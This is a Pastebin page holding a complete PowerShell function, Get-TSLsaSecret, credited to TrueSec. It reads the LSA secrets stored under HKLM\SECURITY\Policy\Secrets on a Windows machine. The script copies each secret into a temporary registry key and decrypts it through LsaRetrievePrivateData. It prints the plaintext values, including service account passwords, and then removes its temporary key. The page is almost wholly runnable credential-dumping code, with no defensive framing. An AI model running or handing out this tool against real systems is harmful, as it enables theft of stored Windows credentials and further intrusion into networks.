Advertisement
opexxx

Get-TSLSASecret.ps1

May 5th, 2014
393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Get-TSLsaSecret {
  2.   <#
  3.     .SYNOPSIS
  4.     Displays LSA Secrets from local computer.
  5.  
  6.     .DESCRIPTION
  7.     Extracts LSA secrets from HKLM:\\SECURITY\Policy\Secrets\ on a local computer.
  8.     The CmdLet must be run with elevated permissions, in 32-bit mode and requires permissions to the security key in HKLM.
  9.  
  10.     .PARAMETER Key
  11.     Name of Key to Extract. if the parameter is not used, all secrets will be displayed.
  12.  
  13.     .EXAMPLE
  14.     Enable-TSDuplicateToken
  15.     Get-TSLsaSecret
  16.  
  17.     .EXAMPLE
  18.     Enable-TSDuplicateToken
  19.     Get-TSLsaSecret -Key KeyName
  20.  
  21.     .LINK
  22.     http://www.truesec.com
  23.  
  24.     .NOTES
  25.     Goude 2012, TreuSec
  26.   #>
  27.  
  28.   param(
  29.     [Parameter(Position = 0,
  30.       ValueFromPipeLine= $true
  31.     )]
  32.     [Alias("RegKey")]
  33.     [string[]]$RegistryKey
  34.   )
  35.  
  36. Begin {
  37. # Check if User is Elevated
  38. $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
  39. if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
  40.   Write-Warning "Run the Command as an Administrator"
  41.   Break
  42. }
  43.  
  44. # Check if Script is run in a 32-bit Environment by checking a Pointer Size
  45. if([System.IntPtr]::Size -eq 8) {
  46.   Write-Warning "Run PowerShell in 32-bit mode"
  47.   Break
  48. }
  49.  
  50.  
  51.  
  52. # Check if RegKey is specified
  53. if([string]::IsNullOrEmpty($registryKey)) {
  54.   [string[]]$registryKey = (Split-Path (Get-ChildItem HKLM:\SECURITY\Policy\Secrets | Select -ExpandProperty Name) -Leaf)
  55. }
  56.  
  57. # Create Temporary Registry Key
  58. if( -not(Test-Path "HKLM:\\SECURITY\Policy\Secrets\MySecret")) {
  59.   mkdir "HKLM:\\SECURITY\Policy\Secrets\MySecret" | Out-Null
  60. }
  61.  
  62. $signature = @"
  63. [StructLayout(LayoutKind.Sequential)]
  64. public struct LSA_UNICODE_STRING
  65. {
  66.  public UInt16 Length;
  67.  public UInt16 MaximumLength;
  68.  public IntPtr Buffer;
  69. }
  70.  
  71. [StructLayout(LayoutKind.Sequential)]
  72. public struct LSA_OBJECT_ATTRIBUTES
  73. {
  74.  public int Length;
  75.  public IntPtr RootDirectory;
  76.  public LSA_UNICODE_STRING ObjectName;
  77.  public uint Attributes;
  78.  public IntPtr SecurityDescriptor;
  79.  public IntPtr SecurityQualityOfService;
  80. }
  81.  
  82. public enum LSA_AccessPolicy : long
  83. {
  84.  POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
  85.  POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
  86.  POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
  87.  POLICY_TRUST_ADMIN = 0x00000008L,
  88.  POLICY_CREATE_ACCOUNT = 0x00000010L,
  89.  POLICY_CREATE_SECRET = 0x00000020L,
  90.  POLICY_CREATE_PRIVILEGE = 0x00000040L,
  91.  POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
  92.  POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
  93.  POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
  94.  POLICY_SERVER_ADMIN = 0x00000400L,
  95.  POLICY_LOOKUP_NAMES = 0x00000800L,
  96.  POLICY_NOTIFICATION = 0x00001000L
  97. }
  98.  
  99. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  100. public static extern uint LsaRetrievePrivateData(
  101.  IntPtr PolicyHandle,
  102.  ref LSA_UNICODE_STRING KeyName,
  103.  out IntPtr PrivateData
  104. );
  105.  
  106. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  107. public static extern uint LsaStorePrivateData(
  108.  IntPtr policyHandle,
  109.  ref LSA_UNICODE_STRING KeyName,
  110.  ref LSA_UNICODE_STRING PrivateData
  111. );
  112.  
  113. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  114. public static extern uint LsaOpenPolicy(
  115.  ref LSA_UNICODE_STRING SystemName,
  116.  ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
  117.  uint DesiredAccess,
  118.  out IntPtr PolicyHandle
  119. );
  120.  
  121. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  122. public static extern uint LsaNtStatusToWinError(
  123.  uint status
  124. );
  125.  
  126. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  127. public static extern uint LsaClose(
  128.  IntPtr policyHandle
  129. );
  130.  
  131. [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
  132. public static extern uint LsaFreeMemory(
  133.  IntPtr buffer
  134. );
  135. "@
  136.  
  137. Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil
  138. }
  139.  
  140.   Process{
  141.     foreach($key in $RegistryKey) {
  142.       $regPath = "HKLM:\\SECURITY\Policy\Secrets\" + $key
  143.       $tempRegPath = "HKLM:\\SECURITY\Policy\Secrets\MySecret"
  144.       $myKey = "MySecret"
  145.       if(Test-Path $regPath) {
  146.         Try {
  147.           Get-ChildItem $regPath -ErrorAction Stop | Out-Null
  148.         }
  149.         Catch {
  150.           Write-Error -Message "Access to registry Denied, run as NT AUTHORITY\SYSTEM" -Category PermissionDenied
  151.           Break
  152.         }      
  153.  
  154.         if(Test-Path $regPath) {
  155.           # Copy Key
  156.           "CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object {
  157.             $copyFrom = "HKLM:\SECURITY\Policy\Secrets\" + $key + "\" + $_
  158.             $copyTo = "HKLM:\SECURITY\Policy\Secrets\MySecret\" + $_
  159.  
  160.             if( -not(Test-Path $copyTo) ) {
  161.               mkdir $copyTo | Out-Null
  162.             }
  163.             $item = Get-ItemProperty $copyFrom
  164.             Set-ItemProperty -Path $copyTo -Name '(default)' -Value $item.'(default)'
  165.           }
  166.         }
  167.         # Attributes
  168.         $objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES
  169.         $objectAttributes.Length = 0
  170.         $objectAttributes.RootDirectory = [IntPtr]::Zero
  171.         $objectAttributes.Attributes = 0
  172.         $objectAttributes.SecurityDescriptor = [IntPtr]::Zero
  173.         $objectAttributes.SecurityQualityOfService = [IntPtr]::Zero
  174.  
  175.         # localSystem
  176.         $localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
  177.         $localsystem.Buffer = [IntPtr]::Zero
  178.         $localsystem.Length = 0
  179.         $localsystem.MaximumLength = 0
  180.  
  181.         # Secret Name
  182.         $secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
  183.         $secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($myKey)
  184.         $secretName.Length = [Uint16]($myKey.Length * [System.Text.UnicodeEncoding]::CharSize)
  185.         $secretName.MaximumLength = [Uint16](($myKey.Length + 1) * [System.Text.UnicodeEncoding]::CharSize)
  186.  
  187.         # Get LSA PolicyHandle
  188.         $lsaPolicyHandle = [IntPtr]::Zero
  189.         [LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION
  190.         $lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy([ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle)
  191.  
  192.         if($lsaOpenPolicyHandle -ne 0) {
  193.           Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle"
  194.           Continue
  195.         }
  196.  
  197.         # Retrieve Private Data
  198.         $privateData = [IntPtr]::Zero
  199.         $ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData($lsaPolicyHandle, [ref]$secretName, [ref]$privateData)
  200.  
  201.         $lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)
  202.  
  203.         $lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult)
  204.  
  205.         if($lsaNtStatusToWinError -ne 0) {
  206.           Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError"
  207.         }
  208.  
  209.         [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData =
  210.         [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING])
  211.  
  212.         Try {
  213.           [string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($lusSecretData.Buffer)
  214.           $value = $value.SubString(0, ($lusSecretData.Length / 2))
  215.         }
  216.         Catch {
  217.           $value = ""
  218.         }
  219.  
  220.         if($key -match "^_SC_") {
  221.           # Get Service Account
  222.           $serviceName = $key -Replace "^_SC_"
  223.           Try {
  224.             # Get Service Account
  225.             $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'" -ErrorAction Stop
  226.             $account = $service.StartName
  227.           }
  228.           Catch {
  229.             $account = ""
  230.           }
  231.         } else {
  232.           $account = ""
  233.         }
  234.  
  235.         # Return Object
  236.         New-Object PSObject -Property @{
  237.           Name = $key;
  238.           Secret = $value;
  239.           Account = $Account
  240.         } | Select-Object Name, Account, Secret, @{Name="ComputerName";Expression={$env:COMPUTERNAME}}
  241.       } else {
  242.         Write-Error -Message "Path not found: $regPath" -Category ObjectNotFound
  243.       }
  244.     }
  245.   }
  246.   end {
  247.     if(Test-Path $tempRegPath) {
  248.       Remove-Item -Path "HKLM:\\SECURITY\Policy\Secrets\MySecret" -Recurse -Force
  249.     }
  250.     if($runnin32BitMode) {
  251.       exit
  252.     }
  253.   }
  254. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement